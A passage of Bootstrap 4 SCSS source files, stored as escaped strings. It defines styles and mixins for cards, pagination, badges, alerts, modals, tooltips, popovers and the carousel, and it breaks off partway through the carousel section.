.list-group {\n    .list-group-item:first-child {\n      border-top: 0;\n    }\n  }\n}\n\n.card-footer {\n  padding: $card-spacer-y $card-spacer-x;\n  background-color: $card-cap-bg;\n  border-top: $card-border-width solid $card-border-color;\n\n  &:last-child {\n    @include border-radius(0 0 $card-inner-border-radius $card-inner-border-radius);\n  }\n}\n\n\n//\n// Header navs\n//\n\n.card-header-tabs {\n  margin-right: -($card-spacer-x / 2);\n  margin-bottom: -$card-spacer-y;\n  margin-left: -($card-spacer-x / 2);\n  border-bottom: 0;\n}\n\n.card-header-pills {\n  margin-right: -($card-spacer-x / 2);\n  margin-left: -($card-spacer-x / 2);\n}\n\n// Card image\n.card-img-overlay {\n  position: absolute;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  padding: $card-img-overlay-padding;\n}\n\n.card-img {\n  width: 100%; // Required because we use flexbox and this inherently applies align-self: stretch\n  @include border-radius($card-inner-border-radius);\n}\n\n// Card image caps\n.card-img-top {\n  width: 100%; // Required because we use flexbox and this inherently applies align-self: stretch\n  @include border-top-radius($card-inner-border-radius);\n}\n\n.card-img-bottom {\n  width: 100%; // Required because we use flexbox and this inherently applies align-self: stretch\n  @include border-bottom-radius($card-inner-border-radius);\n}\n\n\n// Card deck\n\n.card-deck {\n  display: flex;\n  flex-direction: column;\n\n  .card {\n    margin-bottom: $card-deck-margin;\n  }\n\n  @include media-breakpoint-up(sm) {\n    flex-flow: row wrap;\n    margin-right: -$card-deck-margin;\n    margin-left: -$card-deck-margin;\n\n    .card {\n      display: flex;\n      // Flexbugs #4: https://github.com/philipwalton/flexbugs#flexbug-4\n      flex: 1 0 0%;\n      flex-direction: column;\n      margin-right: $card-deck-margin;\n      margin-bottom: 0; // Override the default\n      margin-left: $card-deck-margin;\n    }\n  }\n}\n\n\n//\n// Card groups\n//\n\n.card-group {\n  display: flex;\n  flex-direction: column;\n\n  // The child selector allows nested `.card` within `.card-group`\n  // to display properly.\n  > .card {\n    margin-bottom: $card-group-margin;\n  }\n\n  @include media-breakpoint-up(sm) {\n    flex-flow: row wrap;\n    // The child selector allows nested `.card` within `.card-group`\n    // to display properly.\n    > .card {\n      // Flexbugs #4: https://github.com/philipwalton/flexbugs#flexbug-4\n      flex: 1 0 0%;\n      margin-bottom: 0;\n\n      + .card {\n        margin-left: 0;\n        border-left: 0;\n      }\n\n      // Handle rounded corners\n      @if $enable-rounded {\n        &:first-child {\n          @include border-right-radius(0);\n\n          .card-img-top,\n          .card-header {\n            border-top-right-radius: 0;\n          }\n          .card-img-bottom,\n          .card-footer {\n            border-bottom-right-radius: 0;\n          }\n        }\n\n        &:last-child {\n          @include border-left-radius(0);\n\n          .card-img-top,\n          .card-header {\n            border-top-left-radius: 0;\n          }\n          .card-img-bottom,\n          .card-footer {\n            border-bottom-left-radius: 0;\n          }\n        }\n\n        &:only-child {\n          @include border-radius($card-border-radius);\n\n          .card-img-top,\n          .card-header {\n            @include border-top-radius($card-border-radius);\n          }\n          .card-img-bottom,\n          .card-footer {\n            @include border-bottom-radius($card-border-radius);\n          }\n        }\n\n        &:not(:first-child):not(:last-child):not(:only-child) {\n          @include border-radius(0);\n\n          .card-img-top,\n          .card-img-bottom,\n          .card-header,\n          .card-footer {\n            @include border-radius(0);\n          }\n        }\n      }\n    }\n  }\n}\n\n\n//\n// Columns\n//\n\n.card-columns {\n  .card {\n    margin-bottom: $card-columns-margin;\n  }\n\n  @include media-breakpoint-up(sm) {\n    column-count: $card-columns-count;\n    column-gap: $card-columns-gap;\n    orphans: 1;\n    widows: 1;\n\n    .card {\n      display: inline-block; // Don't let them vertically span multiple columns\n      width: 100%; // Don't let their width change\n    }\n  }\n}\n\n\n//\n// Accordion\n//\n\n.accordion {\n  .card:not(:first-of-type):not(:last-of-type) {\n    border-bottom: 0;\n    border-radius: 0;\n  }\n\n  .card:not(:first-of-type) {\n    .card-header:first-child {\n      border-radius: 0;\n    }\n  }\n\n  .card:first-of-type {\n    border-bottom: 0;\n    border-bottom-right-radius: 0;\n    border-bottom-left-radius: 0;\n  }\n\n  .card:last-of-type {\n    border-top-left-radius: 0;\n    border-top-right-radius: 0;\n  }\n}\n",".breadcrumb {\n  display: flex;\n  flex-wrap: wrap;\n  padding: $breadcrumb-padding-y $breadcrumb-padding-x;\n  margin-bottom: $breadcrumb-margin-bottom;\n  list-style: none;\n  background-color: $breadcrumb-bg;\n  @include border-radius($breadcrumb-border-radius);\n}\n\n.breadcrumb-item {\n  // The separator between breadcrumbs (by default, a forward-slash: \"/\")\n  + .breadcrumb-item {\n    padding-left: $breadcrumb-item-padding;\n\n    &::before {\n      display: inline-block; // Suppress underlining of the separator in modern browsers\n      padding-right: $breadcrumb-item-padding;\n      color: $breadcrumb-divider-color;\n      content: $breadcrumb-divider;\n    }\n  }\n\n  // IE9-11 hack to properly handle hyperlink underlines for breadcrumbs built\n  // without `<ul>`s. The `::before` pseudo-element generates an element\n  // *within* the .breadcrumb-item and thereby inherits the `text-decoration`.\n  //\n  // To trick IE into suppressing the underline, we give the pseudo-element an\n  // underline and then immediately remove it.\n  + .breadcrumb-item:hover::before {\n    text-decoration: underline;\n  }\n  // stylelint-disable-next-line no-duplicate-selectors\n  + .breadcrumb-item:hover::before {\n    text-decoration: none;\n  }\n\n  &.active {\n    color: $breadcrumb-active-color;\n  }\n}\n",".pagination {\n  display: flex;\n  @include list-unstyled();\n  @include border-radius();\n}\n\n.page-link {\n  position: relative;\n  display: block;\n  padding: $pagination-padding-y $pagination-padding-x;\n  margin-left: -$pagination-border-width;\n  line-height: $pagination-line-height;\n  color: $pagination-color;\n  background-color: $pagination-bg;\n  border: $pagination-border-width solid $pagination-border-color;\n\n  &:hover {\n    z-index: 2;\n    color: $pagination-hover-color;\n    text-decoration: none;\n    background-color: $pagination-hover-bg;\n    border-color: $pagination-hover-border-color;\n  }\n\n  &:focus {\n    z-index: 2;\n    outline: $pagination-focus-outline;\n    box-shadow: $pagination-focus-box-shadow;\n  }\n\n  // Opinionated: add \"hand\" cursor to non-disabled .page-link elements\n  &:not(:disabled):not(.disabled) {\n    cursor: pointer;\n  }\n}\n\n.page-item {\n  &:first-child {\n    .page-link {\n      margin-left: 0;\n      @include border-left-radius($border-radius);\n    }\n  }\n  &:last-child {\n    .page-link {\n      @include border-right-radius($border-radius);\n    }\n  }\n\n  &.active .page-link {\n    z-index: 1;\n    color: $pagination-active-color;\n    background-color: $pagination-active-bg;\n    border-color: $pagination-active-border-color;\n  }\n\n  &.disabled .page-link {\n    color: $pagination-disabled-color;\n    pointer-events: none;\n    // Opinionated: remove the \"hand\" cursor set previously for .page-link\n    cursor: auto;\n    background-color: $pagination-disabled-bg;\n    border-color: $pagination-disabled-border-color;\n  }\n}\n\n\n//\n// Sizing\n//\n\n.pagination-lg {\n  @include pagination-size($pagination-padding-y-lg, $pagination-padding-x-lg, $font-size-lg, $line-height-lg, $border-radius-lg);\n}\n\n.pagination-sm {\n  @include pagination-size($pagination-padding-y-sm, $pagination-padding-x-sm, $font-size-sm, $line-height-sm, $border-radius-sm);\n}\n","// Pagination\n\n@mixin pagination-size($padding-y, $padding-x, $font-size, $line-height, $border-radius) {\n  .page-link {\n    padding: $padding-y $padding-x;\n    font-size: $font-size;\n    line-height: $line-height;\n  }\n\n  .page-item {\n    &:first-child {\n      .page-link {\n        @include border-left-radius($border-radius);\n      }\n    }\n    &:last-child {\n      .page-link {\n        @include border-right-radius($border-radius);\n      }\n    }\n  }\n}\n","// Base class\n//\n// Requires one of the contextual, color modifier classes for `color` and\n// `background-color`.\n\n.badge {\n  display: inline-block;\n  padding: $badge-padding-y $badge-padding-x;\n  font-size: $badge-font-size;\n  font-weight: $badge-font-weight;\n  line-height: 1;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: baseline;\n  @include border-radius($badge-border-radius);\n\n  // Empty badges collapse automatically\n  &:empty {\n    display: none;\n  }\n}\n\n// Quick fix for badges in buttons\n.btn .badge {\n  position: relative;\n  top: -1px;\n}\n\n// Pill badges\n//\n// Make them extra rounded with a modifier to replace v3's badges.\n\n.badge-pill {\n  padding-right: $badge-pill-padding-x;\n  padding-left: $badge-pill-padding-x;\n  @include border-radius($badge-pill-border-radius);\n}\n\n// Colors\n//\n// Contextual variations (linked badges get darker on :hover).\n\n@each $color, $value in $theme-colors {\n  .badge-#{$color} {\n    @include badge-variant($value);\n  }\n}\n","@mixin badge-variant($bg) {\n  color: color-yiq($bg);\n  background-color: $bg;\n\n  &[href] {\n    @include hover-focus {\n      color: color-yiq($bg);\n      text-decoration: none;\n      background-color: darken($bg, 10%);\n    }\n  }\n}\n",".jumbotron {\n  padding: $jumbotron-padding ($jumbotron-padding / 2);\n  margin-bottom: $jumbotron-padding;\n  background-color: $jumbotron-bg;\n  @include border-radius($border-radius-lg);\n\n  @include media-breakpoint-up(sm) {\n    padding: ($jumbotron-padding * 2) $jumbotron-padding;\n  }\n}\n\n.jumbotron-fluid {\n  padding-right: 0;\n  padding-left: 0;\n  @include border-radius(0);\n}\n","//\n// Base styles\n//\n\n.alert {\n  position: relative;\n  padding: $alert-padding-y $alert-padding-x;\n  margin-bottom: $alert-margin-bottom;\n  border: $alert-border-width solid transparent;\n  @include border-radius($alert-border-radius);\n}\n\n// Headings for larger alerts\n.alert-heading {\n  // Specified to prevent conflicts of changing $headings-color\n  color: inherit;\n}\n\n// Provide class for links that match alerts\n.alert-link {\n  font-weight: $alert-link-font-weight;\n}\n\n\n// Dismissible alerts\n//\n// Expand the right padding and account for the close button's positioning.\n\n.alert-dismissible {\n  padding-right: ($close-font-size + $alert-padding-x * 2);\n\n  // Adjust close link position\n  .close {\n    position: absolute;\n    top: 0;\n    right: 0;\n    padding: $alert-padding-y $alert-padding-x;\n    color: inherit;\n  }\n}\n\n\n// Alternate styles\n//\n// Generate contextual modifier classes for colorizing the alert.\n\n@each $color, $value in $theme-colors {\n  .alert-#{$color} {\n    @include alert-variant(theme-color-level($color, $alert-bg-level), theme-color-level($color, $alert-border-level), theme-color-level($color, $alert-color-level));\n  }\n}\n","@mixin alert-variant($background, $border, $color) {\n  color: $color;\n  @include gradient-bg($background);\n  border-color: $border;\n\n  hr {\n    border-top-color: darken($border, 5%);\n  }\n\n  .alert-link {\n    color: darken($color, 10%);\n  }\n}\n","@keyframes progress-bar-stripes {\n  from { background-position: $progress-height 0; }\n  to { background-position: 0 0; }\n}\n\n.progress {\n  display: flex;\n  height: $progress-height;\n  overflow: hidden; // force rounded corners by cropping it\n  font-size: $progress-font-size;\n  background-color: $progress-bg;\n  @include border-radius($progress-border-radius);\n  @include box-shadow($progress-box-shadow);\n}\n\n.progress-bar {\n  display: flex;\n  flex-direction: column;\n  justify-content: center;\n  color: $progress-bar-color;\n  text-align: center;\n  white-space: nowrap;\n  background-color: $progress-bar-bg;\n  @include transition($progress-bar-transition);\n}\n\n.progress-bar-striped {\n  @include gradient-striped();\n  background-size: $progress-height $progress-height;\n}\n\n.progress-bar-animated {\n  animation: progress-bar-stripes $progress-bar-animation-timing;\n}\n",".media {\n  display: flex;\n  align-items: flex-start;\n}\n\n.media-body {\n  flex: 1;\n}\n","// Base class\n//\n// Easily usable on <ul>, <ol>, or <div>.\n\n.list-group {\n  display: flex;\n  flex-direction: column;\n\n  // No need to set list-style: none; since .list-group-item is block level\n  padding-left: 0; // reset padding because ul and ol\n  margin-bottom: 0;\n}\n\n\n// Interactive list items\n//\n// Use anchor or button elements instead of `li`s or `div`s to create interactive\n// list items. Includes an extra `.active` modifier class for selected items.\n\n.list-group-item-action {\n  width: 100%; // For `<button>`s (anchors become 100% by default though)\n  color: $list-group-action-color;\n  text-align: inherit; // For `<button>`s (anchors inherit)\n\n  // Hover state\n  @include hover-focus {\n    color: $list-group-action-hover-color;\n    text-decoration: none;\n    background-color: $list-group-hover-bg;\n  }\n\n  &:active {\n    color: $list-group-action-active-color;\n    background-color: $list-group-action-active-bg;\n  }\n}\n\n\n// Individual list items\n//\n// Use on `li`s or `div`s within the `.list-group` parent.\n\n.list-group-item {\n  position: relative;\n  display: block;\n  padding: $list-group-item-padding-y $list-group-item-padding-x;\n  // Place the border on the list items and negative margin up for better styling\n  margin-bottom: -$list-group-border-width;\n  background-color: $list-group-bg;\n  border: $list-group-border-width solid $list-group-border-color;\n\n  &:first-child {\n    @include border-top-radius($list-group-border-radius);\n  }\n\n  &:last-child {\n    margin-bottom: 0;\n    @include border-bottom-radius($list-group-border-radius);\n  }\n\n  @include hover-focus {\n    z-index: 1; // Place hover/active items above their siblings for proper border styling\n    text-decoration: none;\n  }\n\n  &.disabled,\n  &:disabled {\n    color: $list-group-disabled-color;\n    background-color: $list-group-disabled-bg;\n  }\n\n  // Include both here for `<a>`s and `<button>`s\n  &.active {\n    z-index: 2; // Place active items above their siblings for proper border styling\n    color: $list-group-active-color;\n    background-color: $list-group-active-bg;\n    border-color: $list-group-active-border-color;\n  }\n}\n\n\n// Flush list items\n//\n// Remove borders and border-radius to keep list group items edge-to-edge. Most\n// useful within other components (e.g., cards).\n\n.list-group-flush {\n  .list-group-item {\n    border-right: 0;\n    border-left: 0;\n    @include border-radius(0);\n  }\n\n  &:first-child {\n    .list-group-item:first-child {\n      border-top: 0;\n    }\n  }\n\n  &:last-child {\n    .list-group-item:last-child {\n      border-bottom: 0;\n    }\n  }\n}\n\n\n// Contextual variants\n//\n// Add modifier classes to change text and background color on individual items.\n// Organizationally, this must come after the `:hover` states.\n\n@each $color, $value in $theme-colors {\n  @include list-group-item-variant($color, theme-color-level($color, -9), theme-color-level($color, 6));\n}\n","// List Groups\n\n@mixin list-group-item-variant($state, $background, $color) {\n  .list-group-item-#{$state} {\n    color: $color;\n    background-color: $background;\n\n    &.list-group-item-action {\n      @include hover-focus {\n        color: $color;\n        background-color: darken($background, 5%);\n      }\n\n      &.active {\n        color: $white;\n        background-color: $color;\n        border-color: $color;\n      }\n    }\n  }\n}\n",".close {\n  float: right;\n  font-size: $close-font-size;\n  font-weight: $close-font-weight;\n  line-height: 1;\n  color: $close-color;\n  text-shadow: $close-text-shadow;\n  opacity: .5;\n\n  @include hover-focus {\n    color: $close-color;\n    text-decoration: none;\n    opacity: .75;\n  }\n\n  // Opinionated: add \"hand\" cursor to non-disabled .close elements\n  &:not(:disabled):not(.disabled) {\n    cursor: pointer;\n  }\n}\n\n// Additional properties for button version\n// iOS requires the button element instead of an anchor tag.\n// If you want the anchor version, it requires `href=\"#\"`.\n// See https://developer.mozilla.org/en-US/docs/Web/Events/click#Safari_Mobile\n\n// stylelint-disable property-no-vendor-prefix, selector-no-qualifying-type\nbutton.close {\n  padding: 0;\n  background-color: transparent;\n  border: 0;\n  -webkit-appearance: none;\n}\n// stylelint-enable\n","// .modal-open      - body class for killing the scroll\n// .modal           - container to scroll within\n// .modal-dialog    - positioning shell for the actual modal\n// .modal-content   - actual modal w/ bg and corners and stuff\n\n\n// Kill the scroll on the body\n.modal-open {\n  overflow: hidden;\n}\n\n// Container that the modal scrolls within\n.modal {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: $zindex-modal;\n  display: none;\n  overflow: hidden;\n  // Prevent Chrome on Windows from adding a focus outline. For details, see\n  // https://github.com/twbs/bootstrap/pull/10951.\n  outline: 0;\n  // We deliberately don't use `-webkit-overflow-scrolling: touch;` due to a\n  // gnarly iOS Safari bug: https://bugs.webkit.org/show_bug.cgi?id=158342\n  // See also https://github.com/twbs/bootstrap/issues/17695\n\n  .modal-open & {\n    overflow-x: hidden;\n    overflow-y: auto;\n  }\n}\n\n// Shell div to position the modal with bottom padding\n.modal-dialog {\n  position: relative;\n  width: auto;\n  margin: $modal-dialog-margin;\n  // allow clicks to pass through for custom click handling to close modal\n  pointer-events: none;\n\n  // When fading in the modal, animate it to slide down\n  .modal.fade & {\n    @include transition($modal-transition);\n    transform: translate(0, -25%);\n  }\n  .modal.show & {\n    transform: translate(0, 0);\n  }\n}\n\n.modal-dialog-centered {\n  display: flex;\n  align-items: center;\n  min-height: calc(100% - (#{$modal-dialog-margin} * 2));\n}\n\n// Actual modal\n.modal-content {\n  position: relative;\n  display: flex;\n  flex-direction: column;\n  width: 100%; // Ensure `.modal-content` extends the full width of the parent `.modal-dialog`\n  // counteract the pointer-events: none; in the .modal-dialog\n  pointer-events: auto;\n  background-color: $modal-content-bg;\n  background-clip: padding-box;\n  border: $modal-content-border-width solid $modal-content-border-color;\n  @include border-radius($modal-content-border-radius);\n  @include box-shadow($modal-content-box-shadow-xs);\n  // Remove focus outline from opened modal\n  outline: 0;\n}\n\n// Modal background\n.modal-backdrop {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: $zindex-modal-backdrop;\n  background-color: $modal-backdrop-bg;\n\n  // Fade for backdrop\n  &.fade { opacity: 0; }\n  &.show { opacity: $modal-backdrop-opacity; }\n}\n\n// Modal header\n// Top section of the modal w/ title and dismiss\n.modal-header {\n  display: flex;\n  align-items: flex-start; // so the close btn always stays on the upper right corner\n  justify-content: space-between; // Put modal header elements (title and dismiss) on opposite ends\n  padding: $modal-header-padding;\n  border-bottom: $modal-header-border-width solid $modal-header-border-color;\n  @include border-top-radius($modal-content-border-radius);\n\n  .close {\n    padding: $modal-header-padding;\n    // auto on the left force icon to the right even when there is no .modal-title\n    margin: (-$modal-header-padding) (-$modal-header-padding) (-$modal-header-padding) auto;\n  }\n}\n\n// Title text within header\n.modal-title {\n  margin-bottom: 0;\n  line-height: $modal-title-line-height;\n}\n\n// Modal body\n// Where all modal content resides (sibling of .modal-header and .modal-footer)\n.modal-body {\n  position: relative;\n  // Enable `flex-grow: 1` so that the body take up as much space as possible\n  // when should there be a fixed height on `.modal-dialog`.\n  flex: 1 1 auto;\n  padding: $modal-inner-padding;\n}\n\n// Footer (for actions)\n.modal-footer {\n  display: flex;\n  align-items: center; // vertically center\n  justify-content: flex-end; // Right align buttons with flex property because text-align doesn't work on flex items\n  padding: $modal-inner-padding;\n  border-top: $modal-footer-border-width solid $modal-footer-border-color;\n\n  // Easily place margin between footer elements\n  > :not(:first-child) { margin-left: .25rem; }\n  > :not(:last-child) { margin-right: .25rem; }\n}\n\n// Measure scrollbar width for padding body during modal show/hide\n.modal-scrollbar-measure {\n  position: absolute;\n  top: -9999px;\n  width: 50px;\n  height: 50px;\n  overflow: scroll;\n}\n\n// Scale up the modal\n@include media-breakpoint-up(sm) {\n  // Automatically set modal's width for larger viewports\n  .modal-dialog {\n    max-width: $modal-md;\n    margin: $modal-dialog-margin-y-sm-up auto;\n  }\n\n  .modal-dialog-centered {\n    min-height: calc(100% - (#{$modal-dialog-margin-y-sm-up} * 2));\n  }\n\n  .modal-content {\n    @include box-shadow($modal-content-box-shadow-sm-up);\n  }\n\n  .modal-sm { max-width: $modal-sm; }\n\n}\n\n@include media-breakpoint-up(lg) {\n  .modal-lg { max-width: $modal-lg; }\n}\n","// Base class\n.tooltip {\n  position: absolute;\n  z-index: $zindex-tooltip;\n  display: block;\n  margin: $tooltip-margin;\n  // Our parent element can be arbitrary since tooltips are by default inserted as a sibling of their target element.\n  // So reset our font and text properties to avoid inheriting weird values.\n  @include reset-text();\n  font-size: $tooltip-font-size;\n  // Allow breaking very long words so they don't overflow the tooltip's bounds\n  word-wrap: break-word;\n  opacity: 0;\n\n  &.show { opacity: $tooltip-opacity; }\n\n  .arrow {\n    position: absolute;\n    display: block;\n    width: $tooltip-arrow-width;\n    height: $tooltip-arrow-height;\n\n    &::before {\n      position: absolute;\n      content: \"\";\n      border-color: transparent;\n      border-style: solid;\n    }\n  }\n}\n\n.bs-tooltip-top {\n  padding: $tooltip-arrow-height 0;\n\n  .arrow {\n    bottom: 0;\n\n    &::before {\n      top: 0;\n      border-width: $tooltip-arrow-height ($tooltip-arrow-width / 2) 0;\n      border-top-color: $tooltip-arrow-color;\n    }\n  }\n}\n\n.bs-tooltip-right {\n  padding: 0 $tooltip-arrow-height;\n\n  .arrow {\n    left: 0;\n    width: $tooltip-arrow-height;\n    height: $tooltip-arrow-width;\n\n    &::before {\n      right: 0;\n      border-width: ($tooltip-arrow-width / 2) $tooltip-arrow-height ($tooltip-arrow-width / 2) 0;\n      border-right-color: $tooltip-arrow-color;\n    }\n  }\n}\n\n.bs-tooltip-bottom {\n  padding: $tooltip-arrow-height 0;\n\n  .arrow {\n    top: 0;\n\n    &::before {\n      bottom: 0;\n      border-width: 0 ($tooltip-arrow-width / 2) $tooltip-arrow-height;\n      border-bottom-color: $tooltip-arrow-color;\n    }\n  }\n}\n\n.bs-tooltip-left {\n  padding: 0 $tooltip-arrow-height;\n\n  .arrow {\n    right: 0;\n    width: $tooltip-arrow-height;\n    height: $tooltip-arrow-width;\n\n    &::before {\n      left: 0;\n      border-width: ($tooltip-arrow-width / 2) 0 ($tooltip-arrow-width / 2) $tooltip-arrow-height;\n      border-left-color: $tooltip-arrow-color;\n    }\n  }\n}\n\n.bs-tooltip-auto {\n  &[x-placement^=\"top\"] {\n    @extend .bs-tooltip-top;\n  }\n  &[x-placement^=\"right\"] {\n    @extend .bs-tooltip-right;\n  }\n  &[x-placement^=\"bottom\"] {\n    @extend .bs-tooltip-bottom;\n  }\n  &[x-placement^=\"left\"] {\n    @extend .bs-tooltip-left;\n  }\n}\n\n// Wrapper for the tooltip content\n.tooltip-inner {\n  max-width: $tooltip-max-width;\n  padding: $tooltip-padding-y $tooltip-padding-x;\n  color: $tooltip-color;\n  text-align: center;\n  background-color: $tooltip-bg;\n  @include border-radius($tooltip-border-radius);\n}\n","@mixin reset-text {\n  font-family: $font-family-base;\n  // We deliberately do NOT reset font-size or word-wrap.\n  font-style: normal;\n  font-weight: $font-weight-normal;\n  line-height: $line-height-base;\n  text-align: left; // Fallback for where `start` is not supported\n  text-align: start; // stylelint-disable-line declaration-block-no-duplicate-properties\n  text-decoration: none;\n  text-shadow: none;\n  text-transform: none;\n  letter-spacing: normal;\n  word-break: normal;\n  word-spacing: normal;\n  white-space: normal;\n  line-break: auto;\n}\n",".popover {\n  position: absolute;\n  top: 0;\n  left: 0;\n  z-index: $zindex-popover;\n  display: block;\n  max-width: $popover-max-width;\n  // Our parent element can be arbitrary since tooltips are by default inserted as a sibling of their target element.\n  // So reset our font and text properties to avoid inheriting weird values.\n  @include reset-text();\n  font-size: $popover-font-size;\n  // Allow breaking very long words so they don't overflow the popover's bounds\n  word-wrap: break-word;\n  background-color: $popover-bg;\n  background-clip: padding-box;\n  border: $popover-border-width solid $popover-border-color;\n  @include border-radius($popover-border-radius);\n  @include box-shadow($popover-box-shadow);\n\n  .arrow {\n    position: absolute;\n    display: block;\n    width: $popover-arrow-width;\n    height: $popover-arrow-height;\n    margin: 0 $border-radius-lg;\n\n    &::before,\n    &::after {\n      position: absolute;\n      display: block;\n      content: \"\";\n      border-color: transparent;\n      border-style: solid;\n    }\n  }\n}\n\n.bs-popover-top {\n  margin-bottom: $popover-arrow-height;\n\n  .arrow {\n    bottom: calc((#{$popover-arrow-height} + #{$popover-border-width}) * -1);\n  }\n\n  .arrow::before,\n  .arrow::after {\n    border-width: $popover-arrow-height ($popover-arrow-width / 2) 0;\n  }\n\n  .arrow::before {\n    bottom: 0;\n    border-top-color: $popover-arrow-outer-color;\n  }\n\n  .arrow::after {\n    bottom: $popover-border-width;\n    border-top-color: $popover-arrow-color;\n  }\n}\n\n.bs-popover-right {\n  margin-left: $popover-arrow-height;\n\n  .arrow {\n    left: calc((#{$popover-arrow-height} + #{$popover-border-width}) * -1);\n    width: $popover-arrow-height;\n    height: $popover-arrow-width;\n    margin: $border-radius-lg 0; // make sure the arrow does not touch the popover's rounded corners\n  }\n\n  .arrow::before,\n  .arrow::after {\n    border-width: ($popover-arrow-width / 2) $popover-arrow-height ($popover-arrow-width / 2) 0;\n  }\n\n  .arrow::before {\n    left: 0;\n    border-right-color: $popover-arrow-outer-color;\n  }\n\n  .arrow::after {\n    left: $popover-border-width;\n    border-right-color: $popover-arrow-color;\n  }\n}\n\n.bs-popover-bottom {\n  margin-top: $popover-arrow-height;\n\n  .arrow {\n    top: calc((#{$popover-arrow-height} + #{$popover-border-width}) * -1);\n  }\n\n  .arrow::before,\n  .arrow::after {\n    border-width: 0 ($popover-arrow-width / 2) $popover-arrow-height ($popover-arrow-width / 2);\n  }\n\n  .arrow::before {\n    top: 0;\n    border-bottom-color: $popover-arrow-outer-color;\n  }\n\n  .arrow::after {\n    top: $popover-border-width;\n    border-bottom-color: $popover-arrow-color;\n  }\n\n  // This will remove the popover-header's border just below the arrow\n  .popover-header::before {\n    position: absolute;\n    top: 0;\n    left: 50%;\n    display: block;\n    width: $popover-arrow-width;\n    margin-left: ($popover-arrow-width / -2);\n    content: \"\";\n    border-bottom: $popover-border-width solid $popover-header-bg;\n  }\n}\n\n.bs-popover-left {\n  margin-right: $popover-arrow-height;\n\n  .arrow {\n    right: calc((#{$popover-arrow-height} + #{$popover-border-width}) * -1);\n    width: $popover-arrow-height;\n    height: $popover-arrow-width;\n    margin: $border-radius-lg 0; // make sure the arrow does not touch the popover's rounded corners\n  }\n\n  .arrow::before,\n  .arrow::after {\n    border-width: ($popover-arrow-width / 2) 0 ($popover-arrow-width / 2) $popover-arrow-height;\n  }\n\n  .arrow::before {\n    right: 0;\n    border-left-color: $popover-arrow-outer-color;\n  }\n\n  .arrow::after {\n    right: $popover-border-width;\n    border-left-color: $popover-arrow-color;\n  }\n}\n\n.bs-popover-auto {\n  &[x-placement^=\"top\"] {\n    @extend .bs-popover-top;\n  }\n  &[x-placement^=\"right\"] {\n    @extend .bs-popover-right;\n  }\n  &[x-placement^=\"bottom\"] {\n    @extend .bs-popover-bottom;\n  }\n  &[x-placement^=\"left\"] {\n    @extend .bs-popover-left;\n  }\n}\n\n\n// Offset the popover to account for the popover arrow\n.popover-header {\n  padding: $popover-header-padding-y $popover-header-padding-x;\n  margin-bottom: 0; // Reset the default from Reboot\n  font-size: $font-size-base;\n  color: $popover-header-color;\n  background-color: $popover-header-bg;\n  border-bottom: $popover-border-width solid darken($popover-header-bg, 5%);\n  $offset-border-width: calc(#{$border-radius-lg} - #{$popover-border-width});\n  @include border-top-radius($offset-border-width);\n\n  &:empty {\n    display: none;\n  }\n}\n\n.popover-body {\n  padding: $popover-body-padding-y $popover-body-padding-x;\n  color: $popover-body-color;\n}\n","// Notes on the classes:\n//\n// 1. The .carousel-item-left and .carousel-item-right is used to indicate where\n//    the active slide is heading.\n// 2. .active.carousel-item is the current slide.\n// 3. .active.carousel-item-left and .active.carousel-item-right is the current\n//    slide in its in-transition state. Only one of these occurs at a time.\n// 4. .carousel-item-next.carousel-item-left and .carousel-item-prev.carousel-item-right\n//    is the upcoming slide in transition.\n\n.carousel {\n  position: relative;\n}\n\n.carousel-inner {\n  position: relative;\n  width: 100%;\n  overflow: hidden;\n}\n\n.carousel-item {\n  position: relative;\n  display: none;\n  align-items: center;\n  width: 100%;\n  @include transition($carousel-transition);\n  backface-visibility: hidden;\n  perspective: 1000px;\n}\n\n.carousel-item.active,\n.carousel-item-next,\n.carousel-item-prev {\n  display: block;\n}\n\n.carousel-item-next,\n.carousel-item-prev {\n  position: absolute;\n  top: 0;\n}\n\n.carousel-item-next.carousel-item-left,\n.carousel-item-prev.carousel-item-right {\n  transform: translateX(0);\n\n  @supports (transform-style: preserve-3d) {\n    transform: translate3d(0, 0, 0);\n  }\n}\n\n.carousel-item-next,\n.active.carousel-item-right {\n  transform: translateX(100%);\n\n  @supports (transform-style: preserve-3d) {\n    transform: translate3d(100%, 0, 0);\n  }\n}\n\n.carousel-item-prev,\n.active.carousel-item-left {\n  transform: translateX(-100%);\n\n  @supports (transform-style: preserve-3d) {\n    transform: translate3d(-100%, 0, 0);\n  }\n}\n\n\n//\n// Alternate transitions\n//\n\n.carousel-fade {\n  .carousel-item {\n    opacity: 0;\n    transition-duration: .6s;\n    transition-property: opacity;\n  }\n\n  .carousel-item.active,\n  .carousel-item-next.carousel-item-left,\n  .carousel-item-prev.carousel-item-right {\n    opacity: 1;\n  }\n\n  .active.carousel-item-left,\n  .active.carousel-item-right {\n    opacity: 0;\n  }\n\n  .carousel-item-next,\n  .carousel-item-prev,\n  .carousel-item.active,\n  .active.carousel-item-left,\n  .active.carousel-item-prev {\n    transform: translateX(0);\n\n    @supports (transform-style: preserve-3d) {\n      transform: translate3d(0, 0, 0);\n    }\n  }\n}\n\n\n//\n// Left/right controls for nav\n//\n\n.carousel-control-prev,\n.carousel-control-next {\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  // Use flex for alignment (1-3)\n  display: flex; // 1. allow flex styles\n  align-items: center; // 2. vertically center contents\n  justify-content: center; // 3. horizontally center contents\n  width: $carousel-control-width;\n  color: $carousel-control-color;\n  text-align: center;\n  opacity: $carousel-control-opacity;\n  // We can't have a transition here because WebKit cancels the carousel\n  // animation if you trip this while in the middle of another animation.\n\n  // Hover/focus state\n  @include hover-focus {\n    color: $carousel-control-color;\n    text-decoration: none;\n    outline: 0;\n    opacity: .9;\n  }\n}\n.carousel-control-prev {\n  left: 0;\n  @if $enable-gradients {\n    background: linear-gradient(90deg, rgba($black, .25), rgba($black, .001));\n  }\n}\n.carousel-control-next {\n  right: 0;\n  @if $enable-gradients {\n    background: linear-gradient(270deg, rgba($black, .25), rgba($black, .001));\n  }\n}\n\n// Icons for within\n.carousel-control-prev-icon,\n.carousel-control-next-icon {\n  display: inline-block;\n  width: $carousel-control-icon-width;\n  height: $carousel-control-icon-width;\n  background: transparent no-repeat center center;\n  background-size: 100% 100%;\n}\n.carousel-control-prev-icon {\n  background-image: $carousel-control-prev-icon-bg;\n}\n.carousel-control-next-icon {\n  background-image: $carousel-control-next-icon-bg;\n}\n\n\n// Optional 